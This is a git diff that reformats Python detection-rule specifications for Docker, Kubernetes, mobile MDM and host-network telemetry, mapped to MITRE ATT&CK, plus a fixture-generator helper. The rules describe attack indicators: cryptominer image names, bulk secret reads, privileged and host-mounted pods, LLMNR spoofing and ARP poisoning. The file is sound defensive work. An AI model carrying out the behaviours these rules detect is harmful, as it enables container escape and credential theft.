- when={"event_type": "create_pod", "container_privileged": True},
- fp=["Documented system DaemonSet"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-pod-allow-priv-esc", name="Pod Allows Privilege Escalation",
- severity="medium", mitre=["t1611"], product="kubernetes", service="audit",
- when={"event_type": "create_pod", "allow_privilege_escalation": True, "environment": "prod"},
- fp=["Workload that needs setuid binaries (rare)"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-rolebinding-cluster-admin", name="RoleBinding Created Bound To cluster-admin ClusterRole",
- severity="critical", mitre=["t1098.003"], product="kubernetes", service="audit",
- when={"event_type": "create_rolebinding", "role_ref_name": "cluster-admin"},
- fp=["Initial cluster bootstrap"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-clusterrolebinding-system-masters", name="ClusterRoleBinding To system:masters",
- severity="critical", mitre=["t1098.003"], product="kubernetes", service="audit",
- when={"event_type": "create_clusterrolebinding", "subject_group": "system:masters"},
- fp=["Initial cluster bootstrap"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-impersonate-verb", name="Kubernetes Verb 'impersonate' Used",
- severity="high", mitre=["t1078.004"], product="kubernetes", service="audit",
- when={"event_type": "audit", "verb": "impersonate"},
- fp=["Operator framework using impersonation"], playbook="tpl-privilege-escalation"),
- S(slug="k8s-mutating-webhook-changed", name="MutatingWebhookConfiguration Modified",
- severity="high", mitre=["t1098"], product="kubernetes", service="audit",
- when={"event_type_in": ["create_mutatingwebhookconfiguration", "update_mutatingwebhookconfiguration"]},
- fp=["Approved admission controller upgrade"], playbook="tpl-defense-evasion"),
- S(slug="k8s-validating-webhook-changed", name="ValidatingWebhookConfiguration Modified",
- severity="high", mitre=["t1098"], product="kubernetes", service="audit",
- when={"event_type_in": ["create_validatingwebhookconfiguration", "update_validatingwebhookconfiguration"]},
- fp=["Approved admission controller upgrade"], playbook="tpl-defense-evasion"),
- S(slug="k8s-pod-security-disabled-namespace", name="Pod Security Admission Mode Disabled For Namespace",
- severity="high", mitre=["t1562.001"], product="kubernetes", service="audit",
- when={"event_type": "label_namespace", "label_key": "pod-security.kubernetes.io/enforce", "label_value": "privileged"},
- fp=["Sandbox namespace"], playbook="tpl-defense-evasion"),
- S(slug="k8s-anonymous-auth-enabled", name="kube-apiserver Started With --anonymous-auth=true",
- severity="critical", mitre=["t1078.004"], product="kubernetes", service="apiserver",
- when={"event_type": "apiserver_start", "flag_anonymous_auth": True},
- fp=["Lab cluster"], playbook="tpl-initial-access"),
- S(slug="k8s-exec-into-kube-system", name="Exec Into Pod In kube-system Namespace",
- severity="high", mitre=["t1611"], product="kubernetes", service="audit",
- when={"event_type": "pod_exec", "namespace": "kube-system"},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="k8s-secret-mass-read", name="Many Secrets Read From Single Service Account",
- severity="high", mitre=["t1552.007"], product="kubernetes", service="audit",
- when={"event_type": "audit", "verb": "get", "resource": "secrets", "events_5min_gt": 30},
- fp=["Sanctioned controller (allow-listed)"], playbook="tpl-credential-access"),
- S(slug="k8s-networkpolicy-deleted-restricted-ns", name="NetworkPolicy Deleted In Restricted Namespace",
- severity="high", mitre=["t1562.004"], product="kubernetes", service="audit",
- when={"event_type": "delete_networkpolicy", "namespace_in": ["prod", "production", "default"]},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="k8s-pod-runs-cryptominer-image", name="Pod Created From Known Cryptominer Image Family",
- severity="critical", mitre=["t1496"], product="kubernetes", service="audit",
- when={"event_type": "create_pod", "image_contains_any": ["xmrig", "monero", "minerd"]},
- fp=[FP_PENTEST], playbook="tpl-impact"),
+ S(
+ slug="container-docker-tcp-listening",
+ name="Docker Daemon Listening On TCP Socket",
+ severity="critical",
+ mitre=["t1610"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "daemon_listening", "address_contains": "tcp://0.0.0.0"},
+ fp=["Approved CI runner pattern (must require mTLS)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="container-image-from-public-registry",
+ name="Production Container Pulled From Public Registry",
+ severity="medium",
+ mitre=["t1525"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "image_pull", "image_registry_in": ["docker.io", "ghcr.io"], "environment": "prod"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-supply-chain",
+ ),
+ S(
+ slug="container-image-tag-latest-prod",
+ name="Container Pulled With :latest Tag In Production",
+ severity="medium",
+ mitre=["t1525"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "image_pull", "image_tag": "latest", "environment": "prod"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-supply-chain",
+ ),
+ S(
+ slug="container-running-as-root-prod",
+ name="Container Started As UID 0 In Production",
+ severity="medium",
+ mitre=["t1611"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "container_start", "user_uid": 0, "environment": "prod"},
+ fp=["Approved root-required workload (allow-listed)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="container-hostpath-mount-root",
+ name="Container Mounted Host Root Filesystem",
+ severity="critical",
+ mitre=["t1611"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "container_create", "host_mount_path": "/"},
+ fp=["Sanctioned node-agent (allow-listed)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="container-mount-etc",
+ name="Container Mounted /etc From Host",
+ severity="high",
+ mitre=["t1611"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "container_create", "host_mount_path_contains": "/etc"},
+ fp=["Configuration injection pattern"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="container-readonly-fs-disabled",
+ name="Container Created With ReadOnlyRootFilesystem False",
+ severity="low",
+ mitre=["t1611"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "container_create", "readonly_root_fs": False, "environment": "prod"},
+ fp=["Workload requires writable rootfs (allow-listed)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="container-build-on-host",
+ name="docker build Run On Production Host",
+ severity="medium",
+ mitre=["t1612"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "image_build", "host_role": "production"},
+ fp=["Documented bake host"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="container-dind-detected",
+ name="Docker-In-Docker Pattern Detected",
+ severity="medium",
+ mitre=["t1611"],
+ product="docker",
+ service="dockerd",
+ when={"event_type": "container_create", "image_name_contains": "docker:dind"},
+ fp=["Sanctioned CI runner"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-hostnetwork-true",
+ name="Pod Created With hostNetwork: true",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "host_network": True},
+ fp=["Sanctioned CNI plugin"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-hostpid-true",
+ name="Pod Created With hostPID: true",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "host_pid": True},
+ fp=["Sanctioned monitoring agent"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-hostipc-true",
+ name="Pod Created With hostIPC: true",
+ severity="medium",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "host_ipc": True},
+ fp=["Specialised workload"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-privileged",
+ name="Pod Created With privileged Security Context",
+ severity="critical",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "container_privileged": True},
+ fp=["Documented system DaemonSet"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-pod-allow-priv-esc",
+ name="Pod Allows Privilege Escalation",
+ severity="medium",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "allow_privilege_escalation": True, "environment": "prod"},
+ fp=["Workload that needs setuid binaries (rare)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-rolebinding-cluster-admin",
+ name="RoleBinding Created Bound To cluster-admin ClusterRole",
+ severity="critical",
+ mitre=["t1098.003"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_rolebinding", "role_ref_name": "cluster-admin"},
+ fp=["Initial cluster bootstrap"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-clusterrolebinding-system-masters",
+ name="ClusterRoleBinding To system:masters",
+ severity="critical",
+ mitre=["t1098.003"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_clusterrolebinding", "subject_group": "system:masters"},
+ fp=["Initial cluster bootstrap"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-impersonate-verb",
+ name="Kubernetes Verb 'impersonate' Used",
+ severity="high",
+ mitre=["t1078.004"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "audit", "verb": "impersonate"},
+ fp=["Operator framework using impersonation"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="k8s-mutating-webhook-changed",
+ name="MutatingWebhookConfiguration Modified",
+ severity="high",
+ mitre=["t1098"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type_in": ["create_mutatingwebhookconfiguration", "update_mutatingwebhookconfiguration"]},
+ fp=["Approved admission controller upgrade"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-validating-webhook-changed",
+ name="ValidatingWebhookConfiguration Modified",
+ severity="high",
+ mitre=["t1098"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type_in": ["create_validatingwebhookconfiguration", "update_validatingwebhookconfiguration"]},
+ fp=["Approved admission controller upgrade"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-pod-security-disabled-namespace",
+ name="Pod Security Admission Mode Disabled For Namespace",
+ severity="high",
+ mitre=["t1562.001"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "label_namespace", "label_key": "pod-security.kubernetes.io/enforce", "label_value": "privileged"},
+ fp=["Sandbox namespace"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-anonymous-auth-enabled",
+ name="kube-apiserver Started With --anonymous-auth=true",
+ severity="critical",
+ mitre=["t1078.004"],
+ product="kubernetes",
+ service="apiserver",
+ when={"event_type": "apiserver_start", "flag_anonymous_auth": True},
+ fp=["Lab cluster"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="k8s-exec-into-kube-system",
+ name="Exec Into Pod In kube-system Namespace",
+ severity="high",
+ mitre=["t1611"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "pod_exec", "namespace": "kube-system"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-secret-mass-read",
+ name="Many Secrets Read From Single Service Account",
+ severity="high",
+ mitre=["t1552.007"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "audit", "verb": "get", "resource": "secrets", "events_5min_gt": 30},
+ fp=["Sanctioned controller (allow-listed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="k8s-networkpolicy-deleted-restricted-ns",
+ name="NetworkPolicy Deleted In Restricted Namespace",
+ severity="high",
+ mitre=["t1562.004"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "delete_networkpolicy", "namespace_in": ["prod", "production", "default"]},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="k8s-pod-runs-cryptominer-image",
+ name="Pod Created From Known Cryptominer Image Family",
+ severity="critical",
+ mitre=["t1496"],
+ product="kubernetes",
+ service="audit",
+ when={"event_type": "create_pod", "image_contains_any": ["xmrig", "monero", "minerd"]},
+ fp=[FP_PENTEST],
+ playbook="tpl-impact",
+ ),
]
@@ -947,66 +2547,171 @@ CONTAINER_RULES: list[dict] = [
# Mobile / EDR posture (15 rules)
# ---------------------------------------------------------------------------
MOBILE_RULES: list[dict] = [
- S(slug="mobile-ios-jailbreak-detected", name="iOS Jailbreak Detected By MDM",
- severity="critical", mitre=["t1404"], product="ios", service="mdm",
- when={"event_type": "compliance", "jailbroken": True},
- fp=["Decommissioned dev device"], playbook="tpl-impact"),
- S(slug="mobile-android-root-detected", name="Android Root Detected By MDM",
- severity="critical", mitre=["t1404"], product="android", service="mdm",
- when={"event_type": "compliance", "rooted": True},
- fp=["Decommissioned dev device"], playbook="tpl-impact"),
- S(slug="mobile-mdm-out-of-compliance", name="Device Marked Out Of MDM Compliance",
- severity="medium", mitre=["t1078"], product="mdm", service="compliance",
- when={"event_type": "compliance", "compliant": False},
- fp=["Pending OS patch window"], playbook="tpl-credential-access"),
- S(slug="mobile-app-sideloaded", name="App Sideloaded Outside Of Managed Store",
- severity="high", mitre=["t1659"], product="mobile", service="mdm",
- when={"event_type": "app_install", "source_in": ["unknown", "sideload", "adb"]},
- fp=["Internal beta tester"], playbook="tpl-execution"),
- S(slug="mobile-mdm-removal-attempt", name="MDM Profile Removal Attempted",
- severity="critical", mitre=["t1562"], product="mdm", service="compliance",
- when={"event_type": "profile_remove_attempt"},
- fp=["Authorised offboarding"], playbook="tpl-defense-evasion"),
- S(slug="mobile-vpn-app-installed", name="VPN App Installed On Managed Device",
- severity="medium", mitre=["t1572"], product="mobile", service="mdm",
- when={"event_type": "app_install", "category": "vpn"},
- fp=["Approved corporate VPN"], playbook="tpl-command-and-control"),
- S(slug="mobile-find-device-disabled", name="Find My Device Disabled",
- severity="high", mitre=["t1562"], product="mobile", service="mdm",
- when={"event_type": "compliance", "find_device_enabled": False},
- fp=["Privacy compliance setting (educate)"], playbook="tpl-defense-evasion"),
- S(slug="mobile-screen-lock-disabled", name="Screen Lock Disabled On Managed Device",
- severity="high", mitre=["t1078"], product="mobile", service="mdm",
- when={"event_type": "compliance", "screen_lock_enabled": False},
- fp=["Decommissioned device pending wipe"], playbook="tpl-credential-access"),
- S(slug="mobile-icloud-account-swap", name="iCloud Account Changed On Managed iOS Device",
- severity="high", mitre=["t1078"], product="ios", service="mdm",
- when={"event_type": "account_change", "service": "icloud"},
- fp=["Reassigned device"], playbook="tpl-credential-access"),
- S(slug="mobile-google-account-swap", name="Google Account Changed On Managed Android Device",
- severity="high", mitre=["t1078"], product="android", service="mdm",
- when={"event_type": "account_change", "service": "google"},
- fp=["Reassigned device"], playbook="tpl-credential-access"),
- S(slug="mobile-accessibility-permission-granted", name="Accessibility Permission Granted To Untrusted App",
- severity="high", mitre=["t1530"], product="android", service="mdm",
- when={"event_type": "permission_grant", "permission": "ACCESSIBILITY", "app_signed_by_known_publisher": False},
- fp=["Approved screen-reader app"], playbook="tpl-collection"),
- S(slug="mobile-network-proxy-configured", name="Network Proxy Configured On Managed Device",
- severity="medium", mitre=["t1556"], product="mobile", service="mdm",
- when={"event_type": "config_change", "key": "http_proxy"},
- fp=["Corporate proxy rollout"], playbook="tpl-command-and-control"),
- S(slug="mobile-developer-mode-enabled", name="Developer Mode Enabled On Managed Device",
- severity="medium", mitre=["t1078"], product="mobile", service="mdm",
- when={"event_type": "compliance", "developer_mode": True},
- fp=["Approved engineering device"], playbook="tpl-defense-evasion"),
- S(slug="mobile-mdm-cert-untrusted", name="Untrusted Root Certificate Installed On Device",
- severity="high", mitre=["t1553.004"], product="mobile", service="mdm",
- when={"event_type": "cert_install", "trust_level": "user_trusted"},
- fp=["Corporate proxy CA install"], playbook="tpl-defense-evasion"),
- S(slug="mobile-bluetooth-tethering-public", name="Personal Hotspot Or Bluetooth Tethering Enabled In Restricted Site",
- severity="low", mitre=["t1011"], product="mobile", service="mdm",
- when={"event_type": "compliance", "tethering_enabled": True, "geofence_in_restricted_zone": True},
- fp=["Field engineer in approved zone"], playbook="tpl-exfiltration"),
+ S(
+ slug="mobile-ios-jailbreak-detected",
+ name="iOS Jailbreak Detected By MDM",
+ severity="critical",
+ mitre=["t1404"],
+ product="ios",
+ service="mdm",
+ when={"event_type": "compliance", "jailbroken": True},
+ fp=["Decommissioned dev device"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="mobile-android-root-detected",
+ name="Android Root Detected By MDM",
+ severity="critical",
+ mitre=["t1404"],
+ product="android",
+ service="mdm",
+ when={"event_type": "compliance", "rooted": True},
+ fp=["Decommissioned dev device"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="mobile-mdm-out-of-compliance",
+ name="Device Marked Out Of MDM Compliance",
+ severity="medium",
+ mitre=["t1078"],
+ product="mdm",
+ service="compliance",
+ when={"event_type": "compliance", "compliant": False},
+ fp=["Pending OS patch window"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="mobile-app-sideloaded",
+ name="App Sideloaded Outside Of Managed Store",
+ severity="high",
+ mitre=["t1659"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "app_install", "source_in": ["unknown", "sideload", "adb"]},
+ fp=["Internal beta tester"],
+ playbook="tpl-execution",
+ ),
+ S(
+ slug="mobile-mdm-removal-attempt",
+ name="MDM Profile Removal Attempted",
+ severity="critical",
+ mitre=["t1562"],
+ product="mdm",
+ service="compliance",
+ when={"event_type": "profile_remove_attempt"},
+ fp=["Authorised offboarding"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="mobile-vpn-app-installed",
+ name="VPN App Installed On Managed Device",
+ severity="medium",
+ mitre=["t1572"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "app_install", "category": "vpn"},
+ fp=["Approved corporate VPN"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="mobile-find-device-disabled",
+ name="Find My Device Disabled",
+ severity="high",
+ mitre=["t1562"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "compliance", "find_device_enabled": False},
+ fp=["Privacy compliance setting (educate)"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="mobile-screen-lock-disabled",
+ name="Screen Lock Disabled On Managed Device",
+ severity="high",
+ mitre=["t1078"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "compliance", "screen_lock_enabled": False},
+ fp=["Decommissioned device pending wipe"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="mobile-icloud-account-swap",
+ name="iCloud Account Changed On Managed iOS Device",
+ severity="high",
+ mitre=["t1078"],
+ product="ios",
+ service="mdm",
+ when={"event_type": "account_change", "service": "icloud"},
+ fp=["Reassigned device"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="mobile-google-account-swap",
+ name="Google Account Changed On Managed Android Device",
+ severity="high",
+ mitre=["t1078"],
+ product="android",
+ service="mdm",
+ when={"event_type": "account_change", "service": "google"},
+ fp=["Reassigned device"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="mobile-accessibility-permission-granted",
+ name="Accessibility Permission Granted To Untrusted App",
+ severity="high",
+ mitre=["t1530"],
+ product="android",
+ service="mdm",
+ when={"event_type": "permission_grant", "permission": "ACCESSIBILITY", "app_signed_by_known_publisher": False},
+ fp=["Approved screen-reader app"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="mobile-network-proxy-configured",
+ name="Network Proxy Configured On Managed Device",
+ severity="medium",
+ mitre=["t1556"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "config_change", "key": "http_proxy"},
+ fp=["Corporate proxy rollout"],
+ playbook="tpl-command-and-control",
+ ),
+ S(
+ slug="mobile-developer-mode-enabled",
+ name="Developer Mode Enabled On Managed Device",
+ severity="medium",
+ mitre=["t1078"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "compliance", "developer_mode": True},
+ fp=["Approved engineering device"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="mobile-mdm-cert-untrusted",
+ name="Untrusted Root Certificate Installed On Device",
+ severity="high",
+ mitre=["t1553.004"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "cert_install", "trust_level": "user_trusted"},
+ fp=["Corporate proxy CA install"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="mobile-bluetooth-tethering-public",
+ name="Personal Hotspot Or Bluetooth Tethering Enabled In Restricted Site",
+ severity="low",
+ mitre=["t1011"],
+ product="mobile",
+ service="mdm",
+ when={"event_type": "compliance", "tethering_enabled": True, "geofence_in_restricted_zone": True},
+ fp=["Field engineer in approved zone"],
+ playbook="tpl-exfiltration",
+ ),
]
@@ -1014,46 +2719,116 @@ MOBILE_RULES: list[dict] = [
# Host network / posture (10 rules)
# ---------------------------------------------------------------------------
HOST_NETWORK_RULES: list[dict] = [
- S(slug="host-firewall-disabled-managed", name="Host Firewall Disabled On Managed Endpoint",
- severity="high", mitre=["t1562.004"], product="endpoint", service="firewall",
- when={"event_type": "firewall_state_change", "state": "disabled"},
- fp=[FP_TUNING, FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="host-promiscuous-interface", name="Network Interface Set To Promiscuous Mode",
- severity="high", mitre=["t1040"], product="endpoint", service="agent",
- when={"event_type": "interface_state", "promiscuous": True},
- fp=["Sanctioned packet capture"], playbook="tpl-collection"),
- S(slug="host-arp-poison-detected", name="ARP Cache Poisoning Indicators On Host",
- severity="high", mitre=["t1557.002"], product="endpoint", service="agent",
- when={"event_type": "arp_anomaly", "duplicate_macs_for_gateway": True},
- fp=["Failover NIC"], playbook="tpl-credential-access"),
- S(slug="host-llmnr-replies-spoofed", name="Suspicious LLMNR Reply Pattern (Responder-Like)",
- severity="high", mitre=["t1557.001"], product="endpoint", service="agent",
- when={"event_type": "llmnr", "self_response_for_external_query": True},
- fp=["Lab environment"], playbook="tpl-credential-access"),
- S(slug="host-wpad-probe", name="WPAD Probe Reaching External Resolver",
- severity="medium", mitre=["t1557.002"], product="endpoint", service="dns",
- when={"event_type": "dns_query", "query": "wpad.local", "external_resolver": True},
- fp=["Misconfigured DHCP"], playbook="tpl-defense-evasion"),
- S(slug="host-rogue-dhcp-host", name="Host Advertising As DHCP Server",
- severity="critical", mitre=["t1557"], product="endpoint", service="agent",
- when={"event_type": "dhcp_offer_outbound"},
- fp=["Approved DHCP failover"], playbook="tpl-defense-evasion"),
- S(slug="host-mdns-suspicious-tld", name="mDNS Query For Non-.local Suffix",
- severity="low", mitre=["t1018"], product="endpoint", service="dns",
- when={"event_type": "mdns_query", "query_endswith_any": [".com", ".net", ".io"]},
- fp=["Misbehaving consumer-grade IoT device"], playbook="tpl-discovery"),
- S(slug="host-upnp-from-server", name="UPnP/SSDP Beacons From Server Subnet",
- severity="medium", mitre=["t1018"], product="endpoint", service="agent",
- when={"event_type": "ssdp_egress", "source_subnet_role": "server"},
- fp=["Approved IoT lab"], playbook="tpl-discovery"),
- S(slug="host-rdp-mitm-cert-mismatch", name="RDP Client Saw Certificate Mismatch",
- severity="high", mitre=["t1557.002"], product="endpoint", service="rdp",
- when={"event_type": "rdp_cert_mismatch"},
- fp=["Newly imaged target machine"], playbook="tpl-credential-access"),
- S(slug="host-sccm-client-untrusted", name="SCCM Client Installed From Untrusted Source",
- severity="medium", mitre=["t1195.002"], product="endpoint", service="agent",
- when={"event_type": "agent_install", "agent": "sccm", "source_signed_by_known_publisher": False},
- fp=["Migration to new MECM tenant"], playbook="tpl-supply-chain"),
+ S(
+ slug="host-firewall-disabled-managed",
+ name="Host Firewall Disabled On Managed Endpoint",
+ severity="high",
+ mitre=["t1562.004"],
+ product="endpoint",
+ service="firewall",
+ when={"event_type": "firewall_state_change", "state": "disabled"},
+ fp=[FP_TUNING, FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="host-promiscuous-interface",
+ name="Network Interface Set To Promiscuous Mode",
+ severity="high",
+ mitre=["t1040"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "interface_state", "promiscuous": True},
+ fp=["Sanctioned packet capture"],
+ playbook="tpl-collection",
+ ),
+ S(
+ slug="host-arp-poison-detected",
+ name="ARP Cache Poisoning Indicators On Host",
+ severity="high",
+ mitre=["t1557.002"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "arp_anomaly", "duplicate_macs_for_gateway": True},
+ fp=["Failover NIC"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="host-llmnr-replies-spoofed",
+ name="Suspicious LLMNR Reply Pattern (Responder-Like)",
+ severity="high",
+ mitre=["t1557.001"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "llmnr", "self_response_for_external_query": True},
+ fp=["Lab environment"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="host-wpad-probe",
+ name="WPAD Probe Reaching External Resolver",
+ severity="medium",
+ mitre=["t1557.002"],
+ product="endpoint",
+ service="dns",
+ when={"event_type": "dns_query", "query": "wpad.local", "external_resolver": True},
+ fp=["Misconfigured DHCP"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="host-rogue-dhcp-host",
+ name="Host Advertising As DHCP Server",
+ severity="critical",
+ mitre=["t1557"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "dhcp_offer_outbound"},
+ fp=["Approved DHCP failover"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="host-mdns-suspicious-tld",
+ name="mDNS Query For Non-.local Suffix",
+ severity="low",
+ mitre=["t1018"],
+ product="endpoint",
+ service="dns",
+ when={"event_type": "mdns_query", "query_endswith_any": [".com", ".net", ".io"]},
+ fp=["Misbehaving consumer-grade IoT device"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="host-upnp-from-server",
+ name="UPnP/SSDP Beacons From Server Subnet",
+ severity="medium",
+ mitre=["t1018"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "ssdp_egress", "source_subnet_role": "server"},
+ fp=["Approved IoT lab"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="host-rdp-mitm-cert-mismatch",
+ name="RDP Client Saw Certificate Mismatch",
+ severity="high",
+ mitre=["t1557.002"],
+ product="endpoint",
+ service="rdp",
+ when={"event_type": "rdp_cert_mismatch"},
+ fp=["Newly imaged target machine"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="host-sccm-client-untrusted",
+ name="SCCM Client Installed From Untrusted Source",
+ severity="medium",
+ mitre=["t1195.002"],
+ product="endpoint",
+ service="agent",
+ when={"event_type": "agent_install", "agent": "sccm", "source_signed_by_known_publisher": False},
+ fp=["Migration to new MECM tenant"],
+ playbook="tpl-supply-chain",
+ ),
]
@@ -1334,15 +3109,7 @@ OSQUERY_RULES: list[dict] = [
# ---------------------------------------------------------------------------
# Aggregate
# ---------------------------------------------------------------------------
-ENDPOINT_EXTRA: list[dict] = (
- WINDOWS_RULES
- + LINUX_RULES
- + MACOS_RULES
- + CONTAINER_RULES
- + MOBILE_RULES
- + HOST_NETWORK_RULES
- + OSQUERY_RULES
-)
+ENDPOINT_EXTRA: list[dict] = WINDOWS_RULES + LINUX_RULES + MACOS_RULES + CONTAINER_RULES + MOBILE_RULES + HOST_NETWORK_RULES + OSQUERY_RULES
__all__ = [
diff --git a/scripts/detection_specs_part3_helpers.py b/scripts/detection_specs_part3_helpers.py
index e888dbd61..099dfac1f 100644
--- a/scripts/detection_specs_part3_helpers.py
+++ b/scripts/detection_specs_part3_helpers.py
@@ -358,9 +358,7 @@ def _alternative_value(field: str, constraints: list[tuple[str, Any]], avoid: An
emit a fixture that cannot satisfy its rule.
"""
for op, expected in constraints:
- if op in {"in", "match_any", "contains_any", "startswith_any", "endswith_any"} and isinstance(
- expected, list
- ):
+ if op in {"in", "match_any", "contains_any", "startswith_any", "endswith_any"} and isinstance(expected, list):
for candidate in expected:
value = _pos_for(op, [candidate])
if value != avoid:
@@ -395,15 +393,11 @@ def _resolve_comparison(
return operands or {}
if left_value is None:
- left_value = right_value if want_equal else _alternative_value(
- left, by_field.get(left, []), right_value
- )
+ left_value = right_value if want_equal else _alternative_value(left, by_field.get(left, []), right_value)
return {left: left_value}
if right_value is None:
- right_value = left_value if want_equal else _alternative_value(
- right, by_field.get(right, []), left_value
- )
+ right_value = left_value if want_equal else _alternative_value(right, by_field.get(right, []), left_value)
return {right: right_value}
# Both pinned. Adjust the right side only, so the left keeps whatever
@@ -423,10 +417,7 @@ def build_positive(when: dict[str, Any]) -> dict[str, Any]:
yield ``path='/tmp/.tar'`` — satisfying both clauses.
"""
if _has_compound(when):
- raise ValueError(
- "build_positive cannot auto-generate fixtures for any_of/all_of clauses. "
- "Pass an explicit positive= to S()."
- )
+ raise ValueError("build_positive cannot auto-generate fixtures for any_of/all_of clauses. " "Pass an explicit positive= to S().")
by_field: dict[str, list[tuple[str, Any]]] = {}
comparisons: list[tuple[str, bool]] = []
for key, val in when.items():
@@ -462,10 +453,7 @@ def build_negative(
) -> dict[str, Any]:
"""Build a synthetic negative by flipping one clause of a flat match_when."""
if _has_compound(when):
- raise ValueError(
- "build_negative cannot auto-generate fixtures for any_of/all_of clauses. "
- "Pass an explicit negative= to S()."
- )
+ raise ValueError("build_negative cannot auto-generate fixtures for any_of/all_of clauses. " "Pass an explicit negative= to S().")
neg = build_positive(when)
target_key: str | None = None
target_op: str | None = None
@@ -477,9 +465,7 @@ def build_negative(
target_key, target_op, target_expected = key, op, when[key]
break
if target_key is None:
- raise ValueError(
- f"neg_field={neg_field!r} not found in match_when keys: {list(when.keys())}"
- )
+ raise ValueError(f"neg_field={neg_field!r} not found in match_when keys: {list(when.keys())}")
else:
# Prefer the clause the rule is *about*. Taking the first key made
# every negative flip whatever happened to be written first — for
@@ -490,9 +476,7 @@ def build_negative(
# A comparison or neq clause is the discriminating one by
# construction: the other clauses say *where* to look, this one
# says what makes it suspicious.
- comparison_key = next(
- (k for k in when if _COMPARISON_KEY_RE.match(k)), None
- )
+ comparison_key = next((k for k in when if _COMPARISON_KEY_RE.match(k)), None)
